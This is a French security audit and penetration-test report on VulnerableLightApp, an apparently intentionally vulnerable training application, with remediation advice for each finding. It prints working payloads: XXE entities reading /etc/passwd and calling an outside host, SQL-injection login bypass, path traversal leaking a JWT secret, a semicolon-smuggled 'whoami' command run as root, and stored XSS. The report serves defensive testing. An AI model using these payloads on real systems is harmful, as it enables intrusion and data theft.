

# Rapport d'audit de code et test d'intrusion

Application VulnerableLightApp

Date :

09/05/2025

Non-Confidentiel

Auteur :

Vial Jean-Baptiste

## **Sommaire**

### **Contents**

Introduction .....	3
Qualification.....	4
Portée de l'audit .....	4
Synthèse de la mission .....	4
Enumeration : .....	4
Vulnérabilités .....	4
Table des Vulnérabilités .....	5
Deserialization of Untrusted Data : .....	6
XML External Entity : .....	7
SQL injection : .....	9
Directory Traversal Attack : .....	10
Local File Inclusion : .....	11
Insecure Direct Object Reference : .....	12
OS command injection .....	13
Weak Password Requirements .....	14
Business logic : .....	15
Cross-site Scripting (XSS) .....	16
Conclusion .....	17
Annexe .....	17

## **Introduction**

Ce document présente les résultats d'un Audit de code et d'un test d'intrusion de l'application VulnerableLightApp. Cette prestation avait pour but d'identifier les vulnérabilités qui pourraient avoir un impact négatif sur l'entreprise ABC

## Qualification

Responsable d'audit : Vial Jean-Baptiste

Qualification : Certification RNCP ([RNCP39115](#))

## Portée de l'audit

<b>VulnerableLightApp :</b>	- Code source
	- Clone de l'application installé sur une vm isolée

## Synthèse de la mission

L'entreprise ABC a sollicité DEF sur la période du 28/04/2025 au 09/05/2025 pour effectuer un audit de sécurité sur la protection du code et un test de pénétration de l'application VulnerableLightApp. L'audite a pour objectif de révéler un maximum de vulnérabilités afin de réduire les types d'attaques possibles contre celle-ci et ainsi mieux sécuriser les données de l'entreprise.

## Enumeration :

Utilisation de dirb pour une première énumération des pages disponibles de l'application.

```
(kali@kali)-[~]  
$ dirb https://127.0.0.1:3000/ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJC2I6InN0cmLuZyYgc3I6IjZEnPScxIiwiaXN8ZG1pbI6IkdHbHNLiiwibmJmIjoxNzQ1MzUyMzUwLCJleHAiOiJlE3NzY4ODgzNTAsImhhdCI6MTc0NTM1MjM1MH0.DLmdiu9ArofVSrgLnX2PaGCcn4dTfhlt-AW2V3cy3H4"
```

```
Trouvez les Ressources Exposées et Améliorez  
Sécurité  
GENERATED WORDS: 4612  
  
--- Scanning URL: https://127.0.0.1:3000/ ---  
+ https://127.0.0.1:3000/client (CODE:400|SIZE:199)  
+ https://127.0.0.1:3000/contract (CODE:400|SIZE:1762)  
+ https://127.0.0.1:3000/employee (CODE:400|SIZE:1762)  
+ https://127.0.0.1:3000/invoice (CODE:405|SIZE:0)  
+ https://127.0.0.1:3000/login (CODE:405|SIZE:0)  
+ https://127.0.0.1:3000/Login (CODE:405|SIZE:0)
```

## Vulnérabilités

L'analyse du code source effectuée sur un dépôt git partagé par le commanditaire a été fait avec plusieurs outils tels que synk et codeql. L'analyse a permis de mettre en lumière une partie des failles de sécurités.

## Table des Vulnérabilités

Vulnérabilités
Deserialization of Untrusted Data
XML External Entity (XXE) Injection
SQL Injection
Directory Traversal Attack
Local file inclusion
Insecure Direct Object Reference
OS command injection
Weak Password Requirements
Business Logic Error
Cross-site Scripting (XSS)
Remote file inclusion

## Deserialization of Untrusted Data :

Sévérité : Critique	Cwe-id 502	Cvss score : 8.5
---------------------	------------	------------------

### Description :

La **désérialisation** permet de **reconstruire un objet** (comme un utilisateur) à partir d'un fichier texte ou binaire pour **l'utiliser dans un programme**.

Snyk :

 **Deserialization of Untrusted Data** 

SNYK CODE | CWE-502 

SCORE  
**634**

```
87 app.MapGet("/LocalWebQuery", async (string? i) => await VLAController.VulnerableWebRequest(i)).WithOpenApi();
88
89 app.MapGet("/Employee", async (string i) => await Task.FromResult(VLAController.VulnerableObjectReference(i)).WithOpenApi();
90
91 app.MapGet("/NewEmployee", async (string i) => await Task.FromResult(VLAController.VulnerableDeserialize(HttpUtility.UrlDecode(i))).WithOpenApi();
```

Unsanitized input from an HTTP parameter flows into `global::Newtonsoft.Json.JsonConvert.DeserializeObject`, where it is used to deserialize an object. This may result in an Unsafe Deserialization vulnerability.

 Program.cs 

7 steps in 2 files

### CodeQL :

#	deserializeCall	[1]
1	call to method <code>DeserializeObject&lt;Object&gt;</code>	Unsafe deserializer is used. Make sure the value being deserialized comes from a trusted source.
2	call to method <code>DeserializeObject&lt;Employee&gt;</code>	Unsafe deserializer is used. Make sure the value being deserialized comes from a trusted source.

```
52 JsonConvert.DeserializeObject<object>(Json, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All });
53 Employee NewEmployee = JsonConvert.DeserializeObject<Employee>(Json);
```

### Impacte :

La désérialisation de données non fiables peut **entraîner l'injection de données malveillantes** et permettre d'effectuer plusieurs types d'attaques comme de l'exécution de code à distance, du déni de service ou encore de l'escalade de privilège.

### Reproduction :

N'a pas été reproduit

### Recommandations :

Il est conseillé de mettre en œuvre une validation d'entrée rigoureuse pour garantir que seules les données attendues sont acceptées. L'utilisation de `TypeNameHandling = TypeNameHandling.All` est déconseillé sur des données saisies par les utilisateurs. Cela leurs permet d'injecter du code arbitraire exécuté lors de la désérialisation. Il peut être désactivé en utilisant « none » à la place de « all »

`TypeNameHandling.none`.



## XML External Entity :


Sévérité : Critique	Cwe-id 611	Cvss score : 9.6
---------------------	------------	------------------

### Description :

Une vulnérabilité **XXE** consiste à faire **traiter par le serveur du code xml avec des entités externes malveillantes**. Le but est d'effectuer différentes attaques comme lire des fichiers sensibles, exploiter une SSRF ou déclencher un déni de service. Une **SSRF** consiste à provoquer une requête exécutée par le serveur pour accéder à des ressources du réseaux interne qui ne sont pas disponible directement par le web. L'attaque peut également forcer le serveur à faire une requête sur un serveur externe. Dans le cas présent une ssrf est potentiellement détectée par snyk à travers l'exploitation d'une faille XXE.

### Snyk :


 **XML External Entity (XXE) Injection** 

SNYK CODE | CWE-611 


SCORE  
**617**


```
81 // Endpoints :
82
83 app.MapGet("/", async (string? lang) => await Task.FromResult(VLAController.VulnerableHelloWorld(HttpUtility.UrlDecode(lang))));
84
85 app.MapGet("/Contract", async (string i) => await Task.FromResult(VLAController.VulnerableXmlParser(HttpUtility.UrlDecode(i))).WithOpenApi());
```

Unsanitized input from an HTTP parameter flows to global::System.Xml.XmlReader.Create. This may result in an XXE vulnerability.

 Program.cs 

11 steps in 2 files

 **Server-Side Request Forgery (SSRF)** 

SNYK CODE | CWE-918 

SCORE  
**617**

```
81 // Endpoints :
82
83 app.MapGet("/", async (string? lang) => await Task.FromResult(VLAController.VulnerableHelloWorld(HttpUtility.UrlDecode(lang))));
84
85 app.MapGet("/Contract", async (string i) => await Task.FromResult(VLAController.VulnerableXmlParser(HttpUtility.UrlDecode(i))).WithOpenApi());
```


Unsanitized input from an HTTP parameter flows into Load, where it is used as an URL, to perform a request. This may result in a Server-Side Request Forgery vulnerability.


 Program.cs 

10 steps in 2 files

### CodQL :

# xmlProcessing [1]

1  **call to method Create** Insecure XML processing: DTD processing enabled in settings, insecure resolver set in settings

98  **XmlReader Reader = XmlReader.Create(stream, ReaderSettings);**

### Impacte :

L'absence de vérification des saisies de l'utilisateur permet **l'injection de code xml**. Un attaquant peut alors accéder à des fichiers interne sensibles du server ou forcer le serveur à effectuer des requêtes vers l'extérieur.

### Reproduction :

Dans la requête le code xml est encodé au format URL pour être envoyé via une requête http. On remarque qu'une entité est créée ciblant le fichier /etc/passwd.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
```

```
<stockCheck><productId>&xxe;</productId></stockCheck>
```

```
(kali@kali)-[~]
$ curl -k -X GET \
  'https://127.0.0.1:3000/Contract?i=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%20%3C%21DOCTYPE%20foo%20%5B%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%20%5D%3E%20%3CstockCheck%3E%3CproductId%3E%26xxe%3B%3C%2FproductId%3E%3C%2FstockCheck%3E' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJJ2CI6InN0cmLuZycgb3IgJzEnPScxIiwiaXNBZG1pbI6IkZhbHNlIiwibmJmIjoxNzQ1MzUyMzUwLCJleHAiOiE3NzY4ODgzNTAsImhhdCI6MTc0NTM1MjM1MH0.DLmdu9AroFVSrglnx2PaGCcn4dTfhlt-AW2V3cy3H4'
```

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin  
\_apt:x:42:65534::/nonexistent:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Pour l'exploitation de la SSRF, le code xml est modifié pour cibler une url externe. Dans le cas présent une requête http a bien été reçu sur le port 9999 de l'ip 10.0.2.15 envoyé par le serveur de vulnerablelightapp.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.0.2.15:9999"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

```
(kali@kali)-[~]
$ curl -k -X GET \
  'https://127.0.0.1:3000/Contract?i=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%20%3C%21DOCTYP%20foo%20%5B%20%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2F10.0.2.15%3A9999%22%3E%20%5D%3E%20%3CstockCheck%3E%3CproductId%3E%26xxe%3B%3C%2FproductId%3E%3C%2FstockCheck%3E' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJJ2CI6InN0cmLuZycgb3IgJzEnPScxIiwiaXNBZG1pbI6IkZhbHNlIiwibmJmIjoxNzQ1MzUyMzUwLCJleHAiOiE3NzY4ODgzNTAsImhhdCI6MTc0NTM1MjM1MH0.DLmdu9AroFVSrglnx2PaGCcn4dTfhlt-AW2V3cy3H4'
```

zsh: corrupt history file /home/kali/.zsh\_history

```
(kali@kali)-[~]
$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.0.2.15] from (UNKNOWN) [172.17.0.2] 52926
GET / HTTP/1.1
Host: 10.0.2.15:9999
traceparent: 00-b9ed5513cd044dc36006dd88dcb4cec3-075222a8e9813bd0-00
```

### Recommandations :

La ligne de code `ReaderSettings.DtdProcessing = DtdProcessing.Parse;` permet à l'attaquant de forcer le parseur à lire des fichiers locaux ou ouvrir des connexions externes. Elle devrait être remplacée par `ReaderSettings.DtdProcessing = DtdProcessing.Prohibit;`



## SQL injection :

Sévérité : Critique

Cwe-id 89

Cvss score : 10

### Description :

Une injection SQL vise à modifier la requête SQL envoyée à la base de données avec une simple entrée afin d'exécuter d'autres requêtes SQL non souhaitées.

### Impacte :

L'injection SQL permet l'authentification d'un compte sans être en possession des identifiants du compte. En forgeant une requête http à destination de la page de connexion il est possible de se connecter avec un utilisateur inexistant.

### Reproduction :

La requête est interceptée par Burpsuite puis modifiée. L'injection SQL se fait au niveau des identifiants utilisateurs dans le champ « user » en renseignant ce schéma :

“CaractèreDeMonChoix ' or ' '1'='1“.

**Request**

Pretty Raw Hex

```
1 POST /Login HTTP/2
2 Host: 127.0.0.1:3000
3 Content-Length: 51
4 Sec-Ch-Ua-Platform: "Linux"
5 Accept-Language: fr-FR,fr;q=0.9
6 Accept: application/json
7 Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
8 Content-Type: application/json
9 Sec-Ch-Ua-Mobile: ?0
10 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/135.0.0.0 Safari/537.36
11 Origin: https://127.0.0.1:3000
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://127.0.0.1:3000/swagger/index.html
16 Accept-Encoding: gzip, deflate, br
17 Priority: u=1, i
18 {
19   "user": "st' or '1'='1",
20   "passwd": "string"
21 }
22 }
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/2 200 OK
2 Content-Type: application/json; charset=utf-8
3 Date: Sun, 20 Apr 2025 12:34:14 GMT
4 Server: Kestrel
5
6 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1IjoiIiwiaWF0IjoiMjAyNS00LTIwVDEyMzQ0MTQ1Lm10LjQ3cPo4vraiSHBVt vX6KSpz19bdxj577XMgwldyrS4Yo"
```

### Recommandations :

L'utilisation d'instructions préparées et de requêtes paramétrées permettrait d'éviter le problème d'injection sql. Un contrôle plus rigoureux des entrées utilisateurs est également conseillé.

## Directory Traversal Attack :

Sévérité : Critique	Cwe-id 22	Cvss score : 9.6
---------------------	-----------	------------------

### Description :

Le path traversal est une faille qui permet à un attaquant d'accéder à des fichiers sensibles de l'application en manipulant les chemins dans l'url.

### Impacte :

Cette faille démontre la possibilité qu'a un assaillant de se déplacer sur des chemins réservés aux administrateurs dans l'application ou du serveur.

### Reproduction :

L'application cherche un fichier pour afficher la bonne langue à l'utilisateur. Avec le token jwt de connexion récupéré depuis la faille d'injection sql. Une requête http est envoyée à l'application en ciblant un chemin spécifique pour se déplacer dans l'arborescence de l'application.

```
(kali@kali)-[~]
$ curl -k -X GET "https://127.0.0.1:3000/?lang=/etc/passwd" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1IjZCI6InN0cmZyY2V3cy3H4"
"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\napt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"
```

### Recommandations :

Le filtrage mis en place **est insuffisant** :

```
while (FileName.Contains("../") || FileName.Contains("../\\")) FileName = FileName.Replace("../", "").Replace("../\\", "");
```

Il peut être contourné facilement en encodant le chemin au **format URL** ou en spécifiant un **chemin absolu** directement.

L'utilisation d'un répertoire spécialisé contenant une **liste blanche** de fichiers autorisés permettrait d'empêcher l'accès aux dossiers du système.

## Local File Inclusion :

Sévérité : Critique	Cwe-id 829	Cvss score : 9.6
---------------------	------------	------------------

### Description :

LFI est une faille qui permet à un attaquant d'accéder à des fichiers sensibles de l'application. Elle peut être combinée avec du path traversal.

### Impacte :

Cette faille démontre la possibilité qu'a un assaillant **d'accéder au contenu des fichiers de configurations** comme le fichier appsettings.json. Ce fichier contient une **clé secrète** servant à signer les tokens jwt. Une fois en possession de cette clé l'attaquant est en mesure de **forger ces propres tokens** jwt et **s'identifier en tant qu'administrateur**.

### Reproduction :

Une requête http est envoyée à l'application en modifiant l'url. Le fichier ciblé n'est plus celui de la langue mais bien le fichier appsettings.json.

```
(kali@kali)-[~]
$ curl -k -X GET "https://127.0.0.1:3000/?lang=appsettings.json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1IjZCI6InN0cmZycg3IgJzEnPScxIiwiaXN0bG9ja3I6IkhBNlIiwibmJmIjozQ1MzUyMzUwLCJleHAiOiE3NzY4ODgzNTAsImhhdCI6MTc0NTM1MjM1MH0.DLmdu9ArofVSrglnx2PaGCcn4dTfhlT-AW2V3cy3H4"
{"\n  \"Logging\": {\n    \"LogLevel\": {\n      \"Default\": \"Information\", \"Microsoft.AspNetCore\": \"Information\", \"Microsoft.AspNetCore.Hosting.HttpLoggingMiddleware\": \"Information\" },\n    \"AllowedHosts\": \"*\", \"Secret\": \"7E91A318E0BCA7601717E409E86342D8AA7B54AE1BE4033577921B2B1D09F57B\", \"LogFile\": \"Logs.html\" }\n}"
```

### Recommandations :

Même constat vue précédemment. L'utilisation d'une **liste blanche pour les langues** permettrait d'autoriser les fichiers nécessaires et ignorer les autres.

## Insecure Direct Object Reference :

Sévérité : Moyen	Cwe-id 639	Cvss score : 7.7
------------------	------------	------------------

### Description :

**IDOR** est une faille de sécurité permettant à un attaquant d'accéder à des données d'autres utilisateurs en changeant l'id dans l'url.

### Impacte :

Cette faille permet à l'attaquant de **recupérer des informations personnelles sur les employés**, de connaître les comptes utilisateurs présent dans l'application et ainsi étendre la surface d'attaque.

### Reproduction :

Pour reproduire cette faille il suffit d'envoyer plusieurs requêtes avec différents id dans l'url.

```
(kali@kali)-[~]
$ curl -k -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJJ2ZCI6InN0cmLuZycgb3IgJzEnPScxIiwiaXNBNzG1pbIiOiI6IkhHNLiwiIiwibmJmIjozNzQ1MzUyMzUwLCJleHAiOiJlE3NzY4ODgzNTAsImldCI6MTc0NTM1MjM1MH0.DLm
diu9ArofVSrglnx2PaGCcn4dTfhlt-AW2V3cy3H4' https://127.0.0.1:3000/employee?i=1001
{"Id":"1001","Name":"Alice","Age":25,"Address":"123 rue de la Paix"}

(kali@kali)-[~]
$ curl -k -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJJ2ZCI6InN0cmLuZycgb3IgJzEnPScxIiwiaXNBNzG1pbIiOiI6IkhHNLiwiIiwibmJmIjozNzQ1MzUyMzUwLCJleHAiOiJlE3NzY4ODgzNTAsImldCI6MTc0NTM1MjM1MH0.DLm
diu9ArofVSrglnx2PaGCcn4dTfhlt-AW2V3cy3H4' https://127.0.0.1:3000/employee?i=1002
{"Id":"1002","Name":"Bob","Age":30,"Address":"456 avenue des Champs-Élysées"}

(kali@kali)-[~]
$ curl -k -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJJ2ZCI6InN0cmLuZycgb3IgJzEnPScxIiwiaXNBNzG1pbIiOiI6IkhHNLiwiIiwibmJmIjozNzQ1MzUyMzUwLCJleHAiOiJlE3NzY4ODgzNTAsImldCI6MTc0NTM1MjM1MH0.DLm
diu9ArofVSrglnx2PaGCcn4dTfhlt-AW2V3cy3H4' https://127.0.0.1:3000/employee?i=1003
{"Id":"1003","Name":"Charlie","Age":28,"Address":"789 boulevard Saint-Germain"}

```

### Recommandations :

L'application ne contrôle pas l'identité de la personne qui exécute la requête :

```
var Employee = Data.GetEmployees().Where(x => Id == x.Id)?.FirstOrDefault();
return Results.Ok(JsonConvert.SerializeObject(Employee));
```

La **vérification des permissions des utilisateurs** sur les données permettrait de les empêcher d'accéder aux fichiers qui ne les concernent pas.

## OS command injection

Sévérité : Critique	Cwe-id 78	Cvss score : 10
---------------------	-----------	-----------------

Description :

Cette faille autorise un attaquant à injecter et **exécuter des commandes shell**.

Impacte :

Elle permet à l'attaquant d'effectuer des commandes qui sont **exécutées directement par le serveur**. L'assaillant dispose des privilèges de l'utilisateur configuré pour exécuter ces commandes. Dans le cas présent nous pouvons observer que c'est **l'utilisateur root** qui exécute la commande.

Reproduction :

La page LocalDNSResolver effectue un nslookup sous powershell pour répondre aux requêtes des utilisateurs. **Cette page est vulnérable et permet d'injecter une commande en plus de nslookup.** L'encodage URL transforme certains caractères en valeur hexadécimale avec un % devant. La valeur %3B correspond au caractère « ; » **utilisé pour exécuter plusieurs commandes sur une même ligne.** Dans l'entrée utilisateur de la requête à la suite de la demande légitime, l'ajout du caractère « ; » suivi d'une commande permet d'exploiter la faille de sécurité.

```
(kali㉿kali)-[~]  
$ curl -k -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJZ  
ZC6In0cmduYycgb3IgZjEnPScxIiwiaXNjbG1pbii6IkhkbHNlIiwibmJmIjojaWZyQ1MzUmZUwLCJ  
leHAiojE3NzY4ODgzNTAsImldhdCI6MTc0NTM1MjM1MH0.DLmdiu9ArofVSrglnx2PaCCen4dTfhlt-A  
W2V3cy3H4' https://127.0.0.1:3000/LocalDNSResolver?i=google.com%20%3B%20whoami  
"root\n"
```

### Recommendations :

Les entrées des utilisateurs peuvent étre **filtrés pour éviter les caractères spéciaux** du type « ; », « && », etc. Il est également judicieux d'utiliser un compte différent de root et de restreindre au maximum ses privilèges.

## Weak Password Requirements

Sévérité : Critique

Cwe-id 22

Cvss score : 9.6

### Description :

Les utilisateurs sont autorisés à posséder un mot de passe faible.

### Impacte :

Un attaquant peut facilement prendre le contrôle des comptes mal protégés. Cela lui permet d'augmenter sa surface d'attaque, d'**usurper l'identité d'une personne et potentiellement augmenter ces privilèges**. Une fois le compte compromis l'attaquant a un **accès total aux données et droits de l'utilisateur**.

### Reproduction :

Une liste de mot de passe faible a été utilisée avec le logiciel burpsuite. Le status code 200 nous révèle que le mot de passe utilisé correspond à celui de l'utilisateur. Dans le cas présent l'utilisateur ne possède pas de mot de passe.

The screenshot shows the Burp Suite interface. On the left, the 'Positions' tab is active, displaying a list of HTTP requests. A green box highlights the 'payload' field in the first request, which contains the text 'password'. A green arrow points from this box to the 'Payload' column of the table on the right. The table on the right has three columns: 'Request', 'Payload', and 'Status code'. It lists 10 requests. The first three requests have a status code of 200, while the remaining seven have a status code of 401. A green box highlights the status codes 200, 200, and 200 for the first three requests.

Request	Payload	Status code
0		200
1		200
2		200
3	123456	401
4	12345	401
5	123456789	401
6	password	401
7	iloveyou	401
8	princess	401
9	1234567	401
10	rockyou	401

### Recommandations :

Il est recommandé d'imposer aux utilisateurs **l'utilisation d'un mot de passe fort** d'une longueur de 8 caractères minimum contenant des majuscules, des minuscules, des nombres et des caractères spéciaux. Les **passes-phrases** sont un bon moyen d'avoir un mot de passe sécurisé facile à retenir. Des mesures contre le **brute forcing** peuvent être mis en place comme la **désactivation de compte au bout de quelques échecs de connexions**.

## Business logic :

Sévérité : Moyen	Cwe-id 840	Cvss score : 5
------------------	------------	----------------

### Description :

La faille de sécurité business logic provient d'une **mauvaise conception des fonctionnalités** proposées par l'application. Elle peut permettre de détourner des fonctionnalités afin d'effectuer des actions à l'avantage de la personne mal intentionnée.

### Impacte :

Des valeurs trop grandes causent un overflow et entraîne un résultat non voulu. Les clients voient alors un prix négatif ou erroné. Un utilisateur peut également **manipuler les nombres** afin de favoriser une commande et **payer moins chère que le prix initial**. Cela peut entraîner une **perte financière pour l'entreprise**.

### Reproduction :

La variable « FinalPrice » est de type int.

```
int tva = 30;

    int FinalPrice;

    if (price > 0 && !string.IsNullOrEmpty(owner) && !string.IsNullOrEmpty(client) &&
        !string.IsNullOrEmpty(activity))
    {
        FinalPrice = price * qty;

        FinalPrice += (FinalPrice * tva) / 100;

        return Results.Ok(new { FinalPrice = $"{FinalPrice}€" });
    }
```

Un calcul dont le résultat dépasse la capacité du type de donnée est effectué. On peut observer que le résultat ne correspond pas à celui attendu.



```
(kali@kali)-[~]
$ curl -k -H "Authorization: Bearer ey
ZG1pbI6IkZhbnHNIiwibmJmIjoxNzQ1MzUyMzUw
Tfhlt-AW2V3cy3H4" -X 'POST' \
'https://127.0.0.1:3000/Invoice' \
-H 'accept: application/json' \
-H 'Content-Type: application/json' \
-d '{
  "price": 40000,
  "qty": 55000,
  "owner": "string",
  "client": "string",
  "activity": "string"
}'
{"finalPrice": "-2079212391€"}
```

### Recommandations :

L'utilisation du **type de donnée « décimal »** est recommandée pour les **calculs monétaires**. Le risque d'overflow est évité car la plage des nombres autorisés peut aller jusqu'à 29 chiffres de long. **La vérification humaine** des valeurs est tout de même conseillée pour confirmer que les calculs effectués par le programme sont bons.



## Cross-site Scripting (XSS)

Sévérité : Critique	Cwe-id 79	Cvss score : 9
---------------------	-----------	----------------

### Description :

Une attaque **XSS** consiste à injecter du **code malveillant** dans une page web vue par d'autres utilisateurs. Le code est alors exécuté lorsque la page web est consultée.

### Impacte :

Le code malveillant est exécuté dans le navigateur de la victime. Un attaquant peut alors voler les cookies de session, rediriger l'utilisateur sur un autre site ou encore afficher du contenu trompeur.

### Reproduction :

La gestion des logs enregistrés dans une page html présente une faille xss.

Une requête POST est envoyée dans la page de connexion avec une balise html contenant du code javascript

```
(kali㉿kali)-[~]
$ curl -k -X 'POST' \
  'https://127.0.0.1:3000/Login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "user": "<svg/onload=alert(0)>",
    "passwd": "string"
  }'
```

On peut vérifier que le payload est bien présent dans la page html des logs du server. A la prochaine consultation des logs par un utilisateur le scripte sera exécuté.

```
/127.0.0.1:3000/?lang=Logs.html

g="fr"><head><meta charset="utf-8"><title>Application Logs</title></head><body>
<p>login attempt for:<script>Alert(1)</script></p>
r:<script>Alert(1)</script></p><br><p>login attempt
</script></p><br><p>login attempt
r=alert(0)</p><br><p>login attempt
(1)</script></p><br><p>login attempt for:<script>alert(0)</script></p>
r:<script>alert(0)</script></p><br><p>login attempt
)</script></p><br><p>login attempt for:<script>alert(0)</script></p><br><p>login attempt
></script></p><br><p>login attempt for:<script>alert(0)</script></p><br><p>login attempt
)</script></p><br><p>login attempt for:<script>alert(0)</script></p><br></body>
```

### Recommandations :

Dans le cas présent pour éviter l'exécution xss, la journalisation des logs peut être enregistrée au format txt ou json.



## **Conclusion**

Les résultats démontrent que l'application est sujet à plusieurs failles de sécurité plus ou moins grave. Il en ressort que les fonctionnalités proposées ne sont pas assez contrôlées et nettoyées pour garantir que les saisies des utilisateurs sont saines. Certains mécanismes mis en place sont facilement contournables et des erreurs de conception ont également été remontées.

Un audit de contrôle est conseillé pour confirmer que les recommandations apportées par DEF ont permis de résoudre les vulnérabilités révélées pendant l'audit de sécurité.

## **Annexe**

CVSS Score :

Les scores Cvss ont été calculé manuellement avec le CVSS Calculator NVD du site NIST :

<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator>